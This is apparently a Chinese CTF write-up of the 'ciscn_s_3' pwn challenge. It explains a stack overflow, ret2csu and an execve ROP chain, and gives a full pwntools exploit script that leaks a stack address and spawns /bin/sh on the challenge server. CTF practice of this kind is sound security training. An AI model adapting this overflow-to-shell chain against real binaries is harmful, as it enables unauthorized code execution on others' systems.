结合笔记里写到的csu部分配合srop食用
__unwind {
push rbp
mov rbp, rsp
xor rax, rax
mov edx, 400h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
mov rax, 1
mov edx, 30h ; '0' ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_write
retn
主函数的结尾只有一个retn没有leave,此处函数运行结束的时候rsp是停在==saved_registers==上的而不是平时的return_address。
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
结合ret2csu

00000000004004E2 mov rax, 3Bh ;
核心的rop链构造:(1)借read传入我们需要的字符串,再利用pop6传入寄存器的参数,完成需要的操作。(2)popcall让值转到寄存器上(3)向rax传参(4)将前面存入栈的字符串存入rdi中(5)syscall完成操作
b'/bin/sh\x00' + b'b' * 8 + p64(pop6) + p64(0) + p64(1) + p64(bin_sh_interger) + p64(0) + p64(0) + p64(0) + p64(ropcall) + p64(mov_rax) + p64(pop_rdi) + p64(buf) + p64(syscall)
这里缺少的(1)存入的字符串在内存上的位置(2)栈溢出 首先进行栈溢出b’a’ * 10 + p64(vuln) 再查找字符串在内存中的位置,网上的脚本是这么写的,但跑不起来,以后再补上动调的部分。
from pwn import *
r = process('./ciscn_s_3')
vuln_addr = 0x4004ED
payload = b'/bin/sh\x00' + b"A" * 8 + p64(vuln_addr)
r.send(payload)
break_addr = 0x400503
gdb_script = f"""
b *{break_addr}
c """
gdb.attach(r, gdbscript=gdb_script)
pause()
r.interactive()
结论是:
好了,现在我们有了输入位置0x7fff1c0a8c50
还有rsi中存储的信息(后续我们可以通过write泄露此信息):0x7fff1c0a8d68
他们之间的差值为0x118,差值不受到ASLR的影响,因此我们可以直接在写入位置构造我们的“/bin/sh”,然后明确指定该字符串所在的地址
得到最后的exp
from pwn import *
p = remote("node5.buuoj.cn",28446)
file='./ciscn_s_3'
elf = ELF(file)
return_func = 0x04004ED
mov_rax = 0x4004E2
syscall = 0x400501
pop6 = 0x40059A
ropcall = 0x400580
pop_rdi = 0x04005a3
ret = 0x04003a9
payload = b'b' * 0x10 + p64(return_func)
p.sendline(payload)
buf = u64(p.recv()[32:40]) - 0x118 #之后再说
payload = b'/bin/sh\x00' + b'b' * 8 + p64(pop6) + p64(0) + p64(1) + p64(buf+0x58) + p64(0) + p64(0) + p64(0) + p64(ropcall) + p64(mov_rax) + p64(pop_rdi) + p64(buf) + p64(syscall)
#为什么是p64(buf+0x58)见链接
p.sendline(payload)
p.interactive()
ROP链参数设置详解.pdf
评论